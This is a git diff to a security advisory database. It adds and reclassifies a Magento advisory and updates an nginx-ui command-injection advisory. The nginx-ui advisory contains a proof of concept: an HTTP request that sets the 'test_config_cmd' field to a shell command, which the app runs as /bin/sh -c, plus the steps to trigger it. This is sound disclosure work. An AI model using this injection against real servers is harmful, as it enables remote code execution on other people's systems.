diff --git a/advisories/github-reviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json b/advisories/github-reviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json new file mode 100644 index 00000000000..92ea4414061 --- /dev/null +++ b/advisories/github-reviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-f8fv-f786-9933", + "modified": "2024-01-11T18:59:52Z", + "published": "2022-02-17T00:00:29Z", + "aliases": [ + "CVE-2022-24086" + ], + "summary": "Magento improper input validation vulnerability", + "details": "Adobe Commerce versions 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrary code execution.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "magento/community-edition" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.3.3-p1" + }, + { + "fixed": "2.3.7-p3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "magento/community-edition" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.4.0" + }, + { + "fixed": "2.4.3-p2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24086" + }, + { + "type": "PACKAGE", + "url": "https://github.com/magento/magento2" + }, + { + "type": "WEB", + "url": "https://helpx.adobe.com/security/products/magento/apsb22-12.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-01-11T18:59:52Z", + "nvd_published_at": "2022-02-16T17:15:00Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json b/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json index 4a6ec4b628b..0ed34f62191 100644 --- a/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json +++ b/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-pxmr-q2x3-9x9m", - "modified": "2024-01-11T16:30:29Z", + "modified": "2024-01-11T19:00:47Z", "published": "2024-01-11T16:30:29Z", "aliases": [ "CVE-2024-22197" @@ -9,7 +9,10 @@ "summary": "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)", "details": "### Summary\nThe `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n r.GET(\"settings\", GetSettings)\n r.POST(\"settings\", SaveSettings)\n ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n var json struct {\n ...\n Nginx settings.Nginx `json:\"nginx\"`\n ...\n }\n\n ...\n\n settings.NginxSettings = json.Nginx\n\n ...\n\n err := settings.Save()\n ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: <\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.", "severity": [ - + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L" + } ], "affected": [ { @@ -37,6 +40,10 @@ "type": "WEB", "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22197" + }, { "type": "WEB", "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3" @@ -65,6 +72,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-01-11T16:30:29Z", - "nvd_published_at": null + "nvd_published_at": "2024-01-11T18:15:45Z" } } \ No newline at end of file diff --git a/advisories/unreviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json b/advisories/unreviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json deleted file mode 100644 index 80a19bb20f5..00000000000 --- a/advisories/unreviewed/2022/02/GHSA-f8fv-f786-9933/GHSA-f8fv-f786-9933.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-f8fv-f786-9933", - "modified": "2022-02-17T00:00:29Z", - "published": "2022-02-17T00:00:29Z", - "aliases": [ - "CVE-2022-24086" - ], - "details": "Adobe Commerce versions 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrary code execution.", - "severity": [ - - ], - "affected": [ - - ], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24086" - }, - { - "type": "WEB", - "url": "https://helpx.adobe.com/security/products/magento/apsb22-12.html" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-20" - ], - "severity": "CRITICAL", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2022-02-16T17:15:00Z" - } -} \ No newline at end of file